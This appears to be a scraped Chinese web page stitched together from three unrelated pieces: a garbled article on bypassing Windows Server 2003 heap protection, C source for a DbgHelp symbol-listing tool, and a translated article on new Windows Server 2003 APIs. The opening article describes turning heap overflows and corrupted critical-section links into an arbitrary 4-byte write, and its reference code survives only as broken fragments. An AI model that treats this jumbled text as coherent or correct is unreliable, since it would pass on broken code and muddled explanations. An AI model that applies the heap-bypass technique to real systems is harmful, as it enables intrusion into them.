| 绕过win2003堆栈保护机制的新方法 | |
| http://www.51cto.com |
|
|
最 Windows的堆栈溢出的概览 堆栈是一块块连续的内存结合,当一个程序要动态分配内存时,分配的动作将发生在堆栈中,象malloc(),GlobalAlloc(), 当溢出发生时,当前临近块的指示头的结构就被覆写了,通过伪造‘恶意’值,将引起后续的堆栈操作,就可能触发一个任意的4字节内存覆写。其实这只是 mov [reg1], reg2 ; reg1=Flink
Windows堆栈保护简介 新机制仍有缺陷
绕过堆栈保护机制的另外一个方法 实际上即便是最简单的程序,象windows的记事本程序,也需要运行很多库文件来支持,仔细察看默认堆栈中的内存块,可以看到这些块有40个字节的长度,其中块头长度是8个字节。 结构如图 图中A是下一个40字节长的结构的地址,B是当前40字节长结构的地址。 A和B行使了Blink和Flink指针的功能。X指向的结构实际上是’临街断面’,'临街断面’一旦初始化建立后,就会相应副产出一个40字节长 如图 显示了一个进程的所有’临界断面’是如何连接在一起的。双连接的表提醒我们堆栈管理例程应该如何解除内存区块(chunks),破坏一个‘临界断面
进程终止过程中,会导致临界断面的破坏,这一点将确保覆写动作可以发生。
结论和参考代码 实现该方法的参考代码: /* #include
// "Cookie" buffer LONG UEF(EXCEPTION_POINTERS *pEx) getchar();
SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)UEF); // Createa a critical section // Checks the linking structure is located on the heap printf("=> Critical section created\n"); return 0; 代码结尾。 |
|
//============================================================================
// LFVars : A small tool used to display function symbol informaton from EXE, DLL or PDB files
// L(ist)F(untion)Vars: list function parameters and local variabls.
// Author : zyq654321 — Oct, 2004
// Comment: This is only a sample code to show you how to dump symbol information,
// you can improve it and your advise is appreciated.
#include <windows.h>
#include <TCHAR.h>
#define _NO_CVCONST_H // We should define the constant in order to …
#include <dbghelp.h>
#include <stdio.h>
#pragma comment( lib, "dbghelp.lib" )
BOOL CALLBACK LFVarsCallback( SYMBOL_INFO* pSymInfo, ULONG SymbolSize, PVOID UserContext )
{
if( pSymInfo != 0 )
{
// Increase the counter of found local variables and parameters
if( UserContext != 0 )
*(int*)UserContext += 1;
// list parameters or variables
_tprintf(_T("Name: %s \n"),pSymInfo->Name);
_tprintf(_T(" Type: %s "),
(pSymInfo->Flags & SYMFLAG_PARAMETER) ? "Function Parameter" :
( (pSymInfo->Flags & SYMFLAG_LOCAL)? "Local Variable": "Unknown"));
TCHAR tcsReg[10];
switch(pSymInfo->Register)
{
case 17:
_tcscpy(tcsReg,_T("[EAX]"));
break;
case 18:
_tcscpy(tcsReg,_T("[ECX]"));
break;
case 19:
_tcscpy(tcsReg,_T("[EDX]"));
break;
case 20:
_tcscpy(tcsReg,_T("[EBX]"));
break;
case 21:
_tcscpy(tcsReg,_T("[ESP]"));
break;
case 22:
_tcscpy(tcsReg,_T("[EBP]"));
break;
case 23:
_tcscpy(tcsReg,_T("[ESI]"));
break;
case 24:
_tcscpy(tcsReg,_T("[EDI]"));
break;
default:
_tcscpy(tcsReg,_T("Unknown"));
break;
}
_tprintf( _T("Register: %s "), tcsReg );
UINT uMax = 0xFFFFFFFF;
_tprintf( _T("Address(Offset): %c0x%X "),
(LONG)pSymInfo->Address >= 0? ‘ ‘ : ‘-’,
(LONG)pSymInfo->Address >= 0? pSymInfo->Address : (uMax – pSymInfo->Address + 1));
_tprintf( _T("Size: %d \n"), pSymInfo->Size);
//ShowSymbolDetails( *pSymInfo );
}
return TRUE; // Continue enumeration
}
int main( int argc, const TCHAR* argv[] )
{
if(argc < 3)
{
goto FAILED_PARAM;
}
// Set debug options
DWORD dwOpn = SymGetOptions();
dwOpn |= SYMOPT_DEBUG;
SymSetOptions(dwOpn);
// Initilaize the symbol handle for the current process
if(!SymInitialize( GetCurrentProcess(),
NULL,
FALSE ))
{
_tprintf(_T("Failed when SymInitialize():%d\n"), GetLastError());
return 0;
}
if( argv[1] == NULL || argv[2] == NULL)
{
goto FAILED_PARAM;
}
//————————————————————————
// Set initial parameters
TCHAR pszExt[MAX_PATH];
_tsplitpath( argv[1], NULL, NULL, NULL, pszExt );
DWORD64 dw64Base = 0; // if the image is a .pdb file, dw64Base cannot be zero.
// if the value is zero, the library obtains the load address
// from the symbol file.
DWORD dwFileSize = 0; // if the image is a .pdb file, dwFileSize cannot be zero.
// if the value is zero, the library obtains the size
// from the symbol file.
_tcslwr(pszExt);
if(_tcsicmp(pszExt, _T(".pdb")) == 0)
{
// this is a .pdb file, and so we should set the load address and file size;
dw64Base = 0×10000000;
// get the file size
HANDLE hFile = CreateFile( argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL );
if( INVALID_HANDLE_VALUE == hFile )
{
_tprintf(_T("Failed when open %s: %d"), argv[1], GetLastError());
goto FAILED_PARAM;
}
if( INVALID_FILE_SIZE == ( dwFileSize = GetFileSize(hFile, NULL) ))
{
_tprintf(_T("Failed when read the size of %s: %d"), argv[1], GetLastError());
goto FAILED_PARAM;
}
CloseHandle(hFile);
}
//————————————————————————
// Load symbol table
_tprintf(_T("Load %s…..\n"), argv[1]);
DWORD64 dw64ModAddress = SymLoadModule64( GetCurrentProcess(),
NULL,
argv[1],
NULL,
dw64Base,
dwFileSize);
if( dw64ModAddress == 0 )
{
_tprintf(_T("Failed when SymLoadModule64(): %d \n"), GetLastError());
return 0;
}
_tprintf(_T("Load Address: %I64x \n"), dw64ModAddress);
//————————————————————————
// Display the function parameters and local variables according to the
// specified function name.
SYMBOL_INFO symInfo;
symInfo.SizeOfStruct = sizeof(SYMBOL_INFO);
if(! SymFromName( GetCurrentProcess(),
argv[2],
&symInfo) )
{
_tprintf( _T("Failed When SymFromName(): %d \n"), GetLastError() );
goto FAILED_AFTER_LOAD;
}
// We only need functon symbol
if( symInfo.Tag != SymTagFunction )
{
_tprintf( _T("Invalid Function Name or Not Found.\n") );
goto FAILED_AFTER_LOAD;
}
// List funtion’s parameters and its local variables
IMAGEHLP_STACK_FRAME stackFrm;
stackFrm.InstructionOffset = symInfo.Address;
if(!SymSetContext( GetCurrentProcess(),
&stackFrm,
0 ))
{
_tprintf( _T("Failed when SymSetContext: %d \n"), GetLastError() );
goto FAILED_AFTER_LOAD;
}
int nVarsCnt = 0;
if(!SymEnumSymbols( GetCurrentProcess(),
0,
0,
LFVarsCallback,
&nVarsCnt ) )
{
_tprintf( _T("Failed when SymEnumSymbols(): %d \n"), GetLastError() );
goto FAILED_AFTER_LOAD;
}
_tprintf( _T("%d function parmeters and local variables had been listed.\n"), nVarsCnt );
FAILED_AFTER_LOAD:
//————————————————————————
// Unload symbols table
if(!SymUnloadModule64( GetCurrentProcess(), dw64ModAddress ))
{
_tprintf( _T("Failed when SymUnloadModule64() : %d \n"), GetLastError() );
}
if(!SymCleanup(GetCurrentProcess()))
{
_tprintf(_T("Failed when SymCleanup(): %d \n"), GetLastError());
return 0;
}
return 0;
FAILED_PARAM:
_tprintf(_T("Failed Parameter!\n"));
_tprintf(_T("Usage: LFVars -filename -function_name\n"));
_tprintf(_T("filename: a EXE, DLL or PDB file\n"));
return 0;
}
探讨改进的系统信息 API、新内核 API、调试 API、安全 API 和 UI API
4/1/2004
Windows Server 2003
Matt Pietrek
本文假设您熟悉 Windows、.NET 和 C++
Level of Difficulty 1 2 3
请下载本文的代码: WindowsServer2003.exe(1,024KB)
摘要 关于 Windows Server 2003,我们有许多话要说。首先,它是第一个内置了 .NET 框架支持的操作系统,也是
Microsoft 推出的第一个 64 位操作系统。 但我们要讨论的不只这些! 这个操作系统版本中还有许多新特性和 API。 例如,Windows Server
2003 采用了“热添加内存”和许多其他巧妙的新功能。 系统中还包括新 API,用于处理线程、目录和文件,以及新特性,如用于管理内存和系统信息的低碎片堆。
此外,还有向量化异常处理和新 UI API。
操作系统内核领域的专家 Matt Pietrek 将讨论他认为最有趣和最有用的新内容,这样,在深入 Windows Server 2003
之前,您将有一个很好的开端。
就年纪而言,我可能还不具备谈论这个话题的资格,但我的确记得过去的好时光 — 开发人员热切等待发布新 Windows 版本的那些日子。
新版本中会包含哪些新的特别吸引人的特性呢?这些好的特性又会有哪些用途呢? 随着 Microsoft .NET 框架的出现,在某些圈子里,开始流行这样一种言论 —
Windows 没有什么变化、不值得讨论。 有些人似乎认为,用哪个 Windows 版本作为运行平台都没有关系。
您可能已经猜到了,我可不属于这类人。 虽然我像任何其他人一样,是 Microsoft .NET 的忠实爱好者,但我仍然充满热情地扫描头文件,比较来自每个新
Windows 版本的系统 DLL 的导出。 我希望知道,Microsoft Windows 团队中的风云人物最近都在忙些什么。
Microsoft 推出的最新、最酷的操作系统就是 Windows Server? 2003,在我撰写本文时,它还处于发行候选版阶段。 在本文中,我将讨论
Windows Server 2003 中为应用程序级的程序员提供了哪些新的特别吸引人的特性。 不过,在深入探讨新 API
之前,了解一些背景信息会有助于您加深理解。
我们首先要确定这个“新”字的含义。 Windows Server 2003 是为了取代 Windows 2000 Server
系列(Server、Advanced Server 和 Datacenter Server)而推出的。 因此,原来出现在 Windows XP
里的操作系统特性中有许多在技术上可以属于本文中所说的“新”特性类别。
实际上,大多数新 API(相对于 Windows 2000 而言)首先出现在 Windows XP 中,而不是 Windows Server 2003
中。出现这种情况是有充分理由的。 一开始,Windows 2000 的下一个版本的代号为 Whistler,它的测试版包括了工作站和服务器两个版本。 2001
年,Microsoft 决定服务器版本需要酝酿更长时间,因此发布了作为消费者版本和工作站版本的 Windows XP。 Microsoft
原本打算很快就发布服务器版本。 正如您已经知道的那样,发布延迟了一年半。 延迟的部分时间是由“Microsoft
可信赖计算计划”导致。根据该计划,Microsoft 的开发人员停止了新的开发,以寻找代码中的安全问题。
问题的关键在于,到某个日期时,Whistler 的工作站版本和服务器版本基本上都具有完整的特性,并使用了同样的代码库。 Windows XP 和
Windows Server 2003 之间的发布时间差主要用于使操作系统尽可能稳定。 因此,Windows Server 2003 的新特性和 API
中有许多也可以在 Windows XP 中找到 — 这根本不足为奇。
Platform SDK 头文件中使用的版本号可以证明该操作系统的公共接口(也就是 API)在 Windows XP 之后的改变非常小。 为了启用
Windows XP(及更高版本)API,需要将 _WIN32_WINNT 定义为 0×0501(也就是说,在内部,Windows XP 被认为是
Windows 5.01)。 对于 Windows Server 2003,_WIN32_WINNT 所需的 #define 值只变成 0×0502。
您稍后将看到示例程序中使用的 _WIN32_WINNT #defines。
Windows Server 2003 可以保留开发过程中名称更改的最大次数的记录。 起初,它的代号是 Whistler,后来改为 "Windows
2002 Server"。 接着,.NET 计划渗透了 Microsoft 的所有产品,该操作系统被重新命名为 "Windows .NET Server"。
在经历了另一次延迟之后,它的名称改为 "Windows .NET Server 2003"。 最后,深谋远虑的 Microsoft
高层取得了胜利,操作系统更名为 "Windows Server 2003"。 如果我漏掉了其中的一次更名,也不足为奇。
不过,从更名的过程中,我们可以看出一个重点: Windows Server 2003 是第一个将 .NET 框架作为操作系统组成部分的操作系统。
为了实现向后兼容性,该系统同时包括了最新的 .NET 框架 1.1 以及原来的 1.0 版本的 .NET 框架。 由于
MSDNMagazine 和其他地方对 .NET 进行了大量介绍,因此我在本文中不打算将 .NET 框架作为新 API。
除了作为内置 .NET 框架支持的第一个操作系统,Windows Server 2003 还是第一个 Microsoft 64
位服务器操作系统,因而与众不同。 Windows XP Professional 虽然有 64 位版本,但到目前为止,对基于 Itanium 的 64
位工作站的需求还不是很大。 现在,Microsoft 终于推出了 64 位服务器操作系统,拥有大型数据库的公司可能会开始转移到 64 位 Windows。 64
位版本的 SQL Server? 预计将与 64 位版本的 Windows Server 2003 一起提供。
Windows Server 2003 最初将提供六种配置。 对于 Intel x86 CPU,低端是用于基本 Web 服务的 Web 版服务器。
再高一级是作为部门级服务器的标准版。 从它再往上一级是面向大中型企业的企业版。 最后,针对运行在多达 32 个处理器上的大规模数据库系统提供数据中心版。
其余两种配置是企业版和数据中心版的 64 位 Itanium 版本。
比较有趣的是,64 位版本的 Windows Server 2003 不包括 .NET 框架。 显然,64 位版本的 .NET
还没有准备就绪,因此将在以后的版本中提供。
Windows Server 2003 中有许多新特性,我不会在此详述,但仍然值得一提,因为这些特性太棒了。 例如,Internet 信息服务 (IIS)
现在提供的版本是 6.0。 它在结构上有了较大改动,并且由于对内核模式侦听器下了更多的工夫,性能也获得很大的提高。 如果需要,您还可以在三种 IIS 5.0
保护级别下运行它。
Windows Server 2003 中其他异乎寻常的新特性包括(但不只限于这些特性):卷影复制、热添加内存和非统一内存访问 (NUMA)
支持。
卷影复制服务提供了一种进行完整备份的方式,即使是备份时打开的文件也可以备份。 虽然我不喜欢谈论备份,但我认为使用驱动程序透明地实现此功能是很不错的。
Mark Russinovich 和 David Solomon 在 2001 年 12 月刊上发表的文章 Windows XP:Kernel Improvements Create a More Robust, Powerful, and
Scalable OS 涵盖了卷影复制服务及许多其他新特性。
热添加内存是完全异乎寻常的特性之一,它会使您想知道那些稀奇古怪的硬件设计人员接下来会有什么奇思妙想。 这种特性能够在系统运行时向系统添加 RAM。
当您插入 RAM 后,操作系统自动进行检测,并开始使用 RAM。不过,为了实现此目的,您需要运行一个在设计上支持这种特性的系统。 在 Microsoft
文档中,您会发现来自硬件维修权威的警告:不要在任何旧系统打开时向其中盲目添加 RAM — 这样做会导致发生意外。
NUMA 是一种在企业级多处理器系统中使用的高端技术。 它的中心内容是,将内存和处理器组成单元。
处理器在访问其单元内的内存时,速度会比访问另一个单元中的内存时更快。 Windows 中的 NUMA
支持导致计划程序试图使相关的进程运行在同一个单元中。
在进入 Windows Server 2003 新 API 的核心之前,我需要在这里做一项声明。下面只是我个人的主观看法,并不全面。
我阅读了数百个头文件和 beta 文档页,精选了我认为最有趣的内容。 我不得不做出许多关于包括哪些内容和放弃哪些内容的艰难选择。
通常,对我来说,要选择一个包括在这里的特性,它必须是用户模式的 API,而不是完全深奥的 API 或与某个特定程序相关的 API。
我看到了许多设备驱动程序级的新功能,但它们不在本文的范围内。
新KERNEL API
现在,我们即将开始内核级功能的讨论。 您可能会认为内核级功能指的是 KERNEL32(稍后将充分探讨这方面的内容)。 真正的系统编程发烧友知道,NTDLL
是用户模式内核的真正核心。 我已经对 Windows Server 2003 版本的 NTDLL.DLL 的导出与 Windows 2000 版本的
NTDLL.DLL 的导出做了比较。 您可能已经预料到,许多 API 被添加进去,有几个 API 消失了。 重要的是,它们都是未公开的 API,对吗?
不要这么快就得出结论!
当我在不同版本的 Platform SDK 之间比较所有那些 .H 文件时,我偶然发现一个 2002 年 10 月版的非常有趣的文件。 该文件名为
WINTERNL.H。这肯定是一个我们要紧紧抓住的文件。 它也可能在未来的 Platform SDK 中消失。 在 WINTERNL.H
的开头,是一个包括三个段落的警告,警告的内容是,所有数据结构和 API 随时可能更改,仅限 Windows 核心组件使用。
(我们以前好像见过那些警告吧,不是吗?)
不管怎样,WINTERNL.H 中包括什么特别吸引人的东西呢? 不幸的是,并不像您希望的那么多。
但还是有一些众所周知的、但仍未公开的数据结构的线索引人入胜。 例如,您将看到定义的进程环境块 (PEB) 和线程环境块 (TEB)。
不过,大多数字段是作为保留字段列出的。 同样,该文件中还包括调用 NtQueryInformationProcess 和
NtQueryInformationThread 时所必需的结构和原型。 不过,目前有各种图书和 Web 站点提供了关于这些 API 和结构的许多信息,比
WINTERNL.H 要详细得多。 必须承认,该文件对 Windows Server 2003 来说没有什么新东西。不过,该文件首次出现在随 Windows
Server 2003 提供的 SDK 中。
为什么我要对这件事情如此小题大做呢? 它的重要意义在于,Microsoft 最终承认,许多有趣的东西没有公开。 WINTERNL.H
中还有其他几个值得注意的 API: NtCreateFile、NtOpenFile、NtClose 和 NtWaitForSingleObject。 这些
API 是公共 KERNEL32 API 的用户模式实现的核心。 同样,RtlUnwind 是结构化异常处理 (SEH) 中使用的关键 API,我于 1997
年 1 月在 Microsoft Systems Journal 上发表的文章 "A Crash Course on the Depths of Win32 Structured Exception
Handling " 描述了这一内容。 RtlUnwind 发生变化的可能性极小。 如果它发生了变化,那么,很大一部分现有的应用程序会无法运行。
进程、线程和纤程,天哪!
现在我们开始讨论 KERNEL32。我的第一组 API,如图
1 所示,与进程和线程相关。出现一个异常时,它们都检索有关进程或线程的某段信息。 GetThreadId 获取线程句柄,返回相关的线程
ID。GetProcessId 也是这样。 很难相信这些函数 10 年前还没有出现在 Win32 API 中! IsWow64Process
会告知调用进程是否为运行在 64 位 Windows 下的 32 位进程。
GetProcessHandleCount 返回指定的进程已经打开的句柄数。 该计数与我们在性能监视器数据或任务管理器中看到的是同一个值。
RestoreLastError 有些不可思议。 它的代码与 SetLastError 完全一样。 我还不清楚为什么将它作为一个单独的 API。
为了示范这些新 API 中的一部分,请查看图 2中的
ProcessesAndThreads 程序。 该代码是不言自明的,因此在这里我将不再对其深究。 要编译该程序(及其他示例程序),您至少需要 2002 年 10
月的 Platform SDK,其编译器和链接器的目录搜索顺序的最前面是 Include 目录和 Lib 目录。 如果您运行的是 Windows
XP,可以在编译程序时使它只使用 API 的 Windows XP 子集。 只要对开头附近的 #define W2K3SERVER
行取消注释,然后重新编译就可以了。
除了线程处理支持,Windows Server 2003 还添加了一些新纤程 API, 如图 3中的所示。 这里要提到一条重要消息,新增了纤程本地存储 (FLS)。 这些 API 同样用于其对应的线程本地存储
(TLS)。 通过 FlsAlloc 函数来分配一个槽。 要设置或检索值,可使用 FlsGetValue 和 FlsSetValue 函数。 用完槽后,调用
FlsFree。
我顺便研究了 FLS 函数的实现。 线程环境块中偏移量为 0xFB4 处是一个指向数据结构的指针。 此结构中有八个字节是一组 128 个槽。
这些槽在概念上与 TLS 槽相同。 当线程在纤程之间切换时,偏移量为 0xFB4 处的指针也随之更新。
ConvertFiberToThread API 撤消了 ConvertThreadToFiber 的效果。 调用它之后,无法再对线程调用其他纤程函数。
图 3 中列出的其余两个 API 只是现有 API 的“扩展”版本。
CreateFiberEx 就像 CreateFiber,但它能够指定堆栈保留大小。 不过,ConvertThreadToFiberEx 非常有趣。
在原来的纤程实现中,并不在各纤程切换之间保存和还原浮点寄存器、MMX 寄存器和 SSE 寄存器来改进性能。 而新 API
允许您指定,这些寄存器也需要保存和还原。
向量化异常处理
也许,KERNEL32 中最令人兴奋的新特性就是向量化异常处理 (VEH)。利用这种特性,可以更灵活地处理异常。 我于 2001 年 9 月在
MSDN Magazine 的Under
The Hood 专栏上发表的文章已经深入叙述了向量化异常处理,因此在这里我只参照图 4 中的流程图解提供简单扼要的解释。

图 4 向量化异常处理
具有 __try/__except 机制的传统结构化异常处理 (SEH) 在本质上是特定于线程的。 异常只能由建立处理程序的线程来处理。
(编译器和操作系统处理此问题的所有棘手细节,并提供相对简单的 __try/__except 语法。) 更严重的是,使用
SEH,您可能建立了一个处理程序来处理异常,没想到此异常竟首先被另一个不知道如何正确处理该异常的处理程序捕获了。
向量化异常处理的工作方式更像一个传统的通知回调方案。 要处理异常,应调用 AddVectoredExceptionHandler
API,向它传递您的异常回调函数的地址。 当异常发生时,回调函数收到指向 EXCEPTION_POINTERS 结构的指针。 这是 SEH 回调可通过
GetExceptionInformation API 收到的同一个结构。 您可以从 EXCEPTION_POINTERS
结构中的字段获知异常代码(例如,0xC0000005)和寄存器值(通过包括在内的 CONTEXT 结构)。
VEH 回调选择处理异常或将它链接到列表中的下一个处理程序。 它通过从回调返回适当的值来确定即将发生的操作。 每个进程都有一个链接的 VEH 回调列表。
作为处理异常的一部分,操作系统会在 VEH 列表中依次选择,调用处理程序。 要从该列表中删除一个处理程序,可使用
RemoveVectoredExceptionHandler API。
向量化异常处理与 SEH 如何共存呢? 这是一个很好的问题! 在 SEH 链中遍历之前,系统会先遍历向量化异常处理程序列表。 也就是说,VEH
处理程序的优先级要高于 SEH 处理程序。 要了解向量化异常处理是如何起作用的,请查看 图 5 中的 VEHDemo 程序。 VEHDemo 安装了两个向量化异常处理程序,使用结构化异常处理程序来说明 VEH 和
SEH 如何协同工作。 运行 VEHDemo 程序后产生的输出如图 6
所示。
目录和文件
如 图 7 所示,“文件和目录”类别中添加了几个新的 API。
SetDllDirectory 添加了当系统查找 DLL 时将搜索的任意一组目录。
系统会在应用程序加载目录后面,但在任何其他地方(如系统目录)之前搜索指定的路径。 SetDllDirectory
的文档描述了确切的搜索顺序,阅读该文档非常有意思。 GetDllDirectory 返回以前通过调用 SetDllDirectory 来设置的任何值。
GetSystemWow64Directory 用于在 64 位系统上查找 32 位系统目录。
关于 NTFS 文件系统,一个几乎不为人所知的事实是,它一个文件中支持多个流。
我们很难在有限的篇幅中解释这个比较复杂的特性,但它的要点是,多个文件可以共同由一个文件名来引用。 大多数文件只有一个与其关联的默认流,这就是大多数 Win32
API 所报告的流。 要创建与默认流不同的流,只需追加一个后面带有流名称的冒号 (:)。 例如,您可以使用记事本来创建一个名为 abc.txt:MyStream
的文件/流。 在 Windows Explorer 窗口中,您将看到一个零字节的 abc.txt 文件。 不过,abc.txt:MyStream 仍然存在。
普通的 Win32 API 只是不报告有关它的任何信息而已。
在 Windows Server 2003 中,这种情况在某种程度上有所改进。 FindFirstStream 和 FindNextStream API
枚举文件中的所有流。 为了说明它们的用法,我编写了如图 8
所示的 FindFirstStream 程序。 要使用该程序,只需向它传递一个文件名。 如果有任何默认的未命名流之外的流,该程序会将它们全部列出来。
下面是一个有三个流(abc、def 和 ghi)的文件 a.txt 的输出:
a.txt:abc:$DATA
a.txt:def:$DATA
a.txt:ghi:$DATA
ReOpenFile API 用于接受现有的文件句柄,并获得另一个具有不同的一组访问权限的句柄。
通常,在只有文件句柄、而不知道相关的文件名的代码中会用到它。 如果您的代码需要不同于现有句柄的访问权限或共享模式,ReOpenFile
提供了尝试获得那些权限的方式。 当然,ReOpenFile 确保新请求的访问权限和共享模式是合法的。 它还可以预防管线假冒攻击。
CheckNameLegalDOS8Dot3 具有一个变化无常的 API 名称。 此 API 有助于检查文件名是否可以用在文件分区表 (FAT)
文件系统卷。
您可以想想,随着长文件名(超过 8.3)的出现,操作系统需要一种方式来引用使用标准 8.3 约定的文件。
系统有一种在长版本名称和短版本名称之间进行映射的算法。 这些文件可以很容易地挑出来,因为短版本以波形符 (~)
结束,后面跟一个数字(例如,“foobar~1.txt”)。 新的 SetFileShortName API 允许您重写系统的默认短文件名。
不过,要使用短文件名,目标文件必须在 NTFS 卷上。
内存和系统信息
在内存分配方面,Windows Server 2003 和 Window XP 有一个被称为低碎片堆的特性。 这种堆算法通过分配来自 128
个预先确定的、不同块大小范围(称为存储桶)的所有块,避免产生碎片。 当应用程序需要从堆中分配内存时,堆选择能够容纳所请求的块并且浪费空间最少的存储桶。
系统将传统的堆用于超过 16KB 的块。 要使用低碎片堆,应调用 HeapSetInformation,向它传递适当的堆句柄和标志值。 在调用
HeapSetInformation 之前,默认情况下,所有堆均具有 "normal" Win32 堆行为。 要确定堆使用的是哪种行为,请调用
HeapQueryInformation API。
在系统信息方面,存在一组各种各样的新接口,如图 9
所示。 GetSystemRegistryQuota 为您提供注册表的当前大小以及所允许的最大大小。 GetSystemTimes
返回所有处理器在空闲状态下、在内核模式下以及在用户模式下所占用的时间长度。
GetNativeSystemInfo 用于运行在 64 位 Windows 下的 32 位程序。 它返回 SYSTEM_INFO
结构,对该结构进行填充就如同它是从一个本机 64 位程序调用那样。 例如,在 Itanium 计算机上运行一个 x86
程序,SYSTEM_INFO.dwPageSize 的值是 8192 个字节,而不是通过调用 GetSystemInfo 所得到的 4096 个字节。 图 10
中的 SystemInfo 程序显示了正在使用的 GetSystemInfo,以及几个其他新系统信息 API。
GetLogicalProcessorInformation 返回与 NUMA 系统和 Intel 的 Hyperthreaded CPU(其中,一个
CPU 有多个执行单元)有关的信息。 该 API 返回一组 SYSTEM_LOGICAL_PROCESSOR_INFORMATION 结构。
CreateMemoryResourceNotification 是应用程序在可用物理内存不足时收到通知、而不必一直轮询该值的方式。 该 API
创建一个可传递到 WaitForXxx 系列函数的句柄。 当可用内存降到某个阈值以下时,会向该句柄发出信号。 根据我看到的文档,对于系统上每 4GB
的内存,该阈值为 32MB。 您还可以直接使用 QueryMemoryResourceNotification 检查内存状态。
系统还可以在可用物理内存充足时通知您,但恐怕它不会是一个常用的功能。
调试 API
在调试方面,也有几个新 API。 最令人兴奋的要算是 DebugSetProcessKillOnExit。
直到现在,如果您在调试另一个进程,您没有办法停止调试。 您不能从正在调试的进程中分离。 当您调试另一个进程时,您的线程之一是调试线程,处理所有调试通知消息。
正常情况下,如果此线程终止,则被调试的进程也会终止。 DebugSetProcessKillOnExit API 改变了这种行为。 通过传递
FALSE,您可以告诉系统停止要求调试线程处理被调试进程的消息。
与该 API 有几分相似的是 DebugActiveProcessStop,它可以通知系统使指定的进程从正在调试它的进程中分离。 它只能被名为
DebugActiveProcess 或 CreateProcess 的线程调用。
由于可以认为调试器线程能同时调试多个进程,DebugActiveProcessStop 需要指示从哪个进程分离的参数。
DebugBreakProcess 就像 DebugBreak 一样,不同的是,它适用于指定的进程,而不是当前线程。 该 API
的工作方式是,在目标进程中创建一个线程,这种做法很像 CreateRemoteThread。 新创建的线程调用一个断点指令,该指令导致普通的 SEH
机制来接管工作。 对于开发人员,这通常意味着实时调试对话框会出现。
最后一个新调试 API 是 CheckRemoteDebuggerPresent。 它类似于 IsDebuggerPresent
API,因为它可以告诉您某个进程是否在调试器进程的控制下运行。 IsDebuggerPresent 可以告知您的进程是否正在被调试;而
CheckRemoteDebuggerPresent 则允许查询有关您拥有其句柄的任何进程的信息。
并行执行
在 .NET 框架中,已经有不少并行安装和执行功能了。 不过,这些同样的功能也内置在 Windows Server 2003 和 Windows XP
中。 这些功能的关键之处是,新激活上下文 (ActCtx) API,如图
11
所示。
激活上下文是一组系统管理的数据结构,它们包含用于使应用程序基于清单文件使用特定 DLL 版本或 COM 对象实例的信息。 清单文件使用 XML
格式(这不足为奇!),看上去很像 .NET 清单。 关于激活上下文的使用,完全可以再写一篇文章专门进行讨论,因此我将在 SDK 文档中安排。
不过,值得注意的是,为进行并行执行,启用了某些系统 DLL,其相应的 .H 文件现在正使用激活上下文 API。 举个最好的例子,我们来研究一下
COMMCTRL.H 的最近版本。目前存在着无数其名称类似 IsolationAwareImageList_Add 这样的内联函数。这些内联函数显示了激活上下文
API 的作用。 您还会看到一些使用 C++ 宏的高明技巧,这些技巧使现有的代码无需任何改动就可以编译。
还剩下最后一个不适合归入任何其他类别的 Kernel32 API。 GetModuleHandleEx 本应该在几年前就包括在 Win32 API 中。
它所增加的关键功能是,当给定了模块内的地址时,可以查找 HMODULE。
如果您曾经编写过调试代码或诊断代码,可能遇到过这样的情况:您知道代码地址,但需要确定它来自哪个 DLL。 我们也可以使用 VirtualQuery
这种比较笨拙的方式来实现此目的,但 GetModuleHandleEx 更加简洁。
与其前身 API (GetModuleHandle) 不同,GetModuleHandleEx 影响模块的引用计数,除非您显式指定它不要这样做。
根据指定的标志,它可以递增引用计数、使之保持不变或在进程的生存期 内一直将此 DLL 定位在内存中。 GET_MODULE_HANDLE_EX_FLAG_PIN
标志解决了我萦绕于心的一个担忧。 假设您调用了 GetModuleHandle 来检索 模块句柄。
在一个多线程程序中,有可能发生这样的情况:另一个线程会在同一个地址卸载 DLL 并加载另一个 DLL。 上述这种情况可能发生在第一个线程 获得
HMODULE、但还没有开始使用它的时候。 通过在内存中定位模块,您可以确保您获得的 HMODULE 在稍后被使用时是有效的。
用户接口方面的新内容
在用户接口方面,USER32 的最大新内容就是原始输入 API。 在键盘和鼠标作为接收来自用户输入的唯一方式外,这些 API 提供了另外一种方式。
使用原始输入 API,游戏杆、麦克风或触摸屏等设备,与键盘和鼠标具有同样的作用。
在标准 Windows 输入模型中,键盘和鼠标驱动程序创建低级扫描码和移动事件。 系统接受这些低级事件,将它们转换成更高级的消息,例如,WM_CHAR 或
WM_APPCOMMAND。 虽然这种方式使输入捕获变得非常简单,但对于其他输入设备不是非常适用。
用于原始输入的新 API 如图 12 所示。
在默认情况下,应用程序不接受原始输入。 取而代之的是,您必须进行注册,通过 RegisterRawInputDevices API 接受输入,该 API
接受您感兴趣的所有设备。
当设备发生输入时,系统就向程序的消息队列发出一个 WM_INPUT 消息。
程序在无缓冲模式(一次读取一个消息)下或缓冲模式(一次读取多个消息)下读取该输入。 正如您预料的那样,有一些 API
可以枚举所有原始输入设备,查询有关它们的信息。
在 USER32 中还有其他几个我认为很有趣的新 API。(请参见图
12)。 PrintWindow API 将指定的 HWND 的内容复制到指定的设备上下文 (DC)。 IsGUIThread
返回(也可以设置)一个值,该值可确定调用线程是否为 GUI 线程,这意味着该线程已调入 Win32K.SYS,有更大的内核模式堆栈。
BroadcastSystemMessageEx 类似 BroadcastSystemMessage,不同的是,它返回有关已拒绝请求的窗口的更多信息。
虽然文本服务框架 (TSF) 是作为早期操作系统的可重新发布版提供的,但它是第一次随 Windows Server 2003 和 Windows XP
一起出现。 文本服务框架是一个可扩展的系统,它可以用一种独立于输入/输出设备的方式读取和写入文本。 TSF
最擅长的访问方式是,允许应用程序从诸如笔或麦克风这样的设备接受文本输入。
每个不同类型的文本输入/输出设备都是一个“文本服务”。 文本服务和应用程序之间是 TSF 管理器。 如果用数据库来比喻,每个文本服务就像一个 ODBC
驱动程序,TSF 管理器则扮演着 ODBC 管理器的角色。 TSF 由几个 API 和许许多多接口组成。
如果要讨论这个话题,即使不需要一本书,也得占用文章的所有篇幅 — 因此我不打算在这里进一步说明。
近年来,Microsoft 以一种更图形化的表达方式,使 GDI 变得友好,面向对象。 当然,诸如 MFC
这样的应用程序框架已经朝着这个方向努力好几年了,但新的 GDI+ API 是核心操作系统的一部分,您无需再引入应用程序框架的所有那些概念。 大体上来说,GDI+
功能可以分为以下四类: 二维矢量图形(直线和曲线)、图像处理(位图)、版式(文本显示)和矩阵变换。
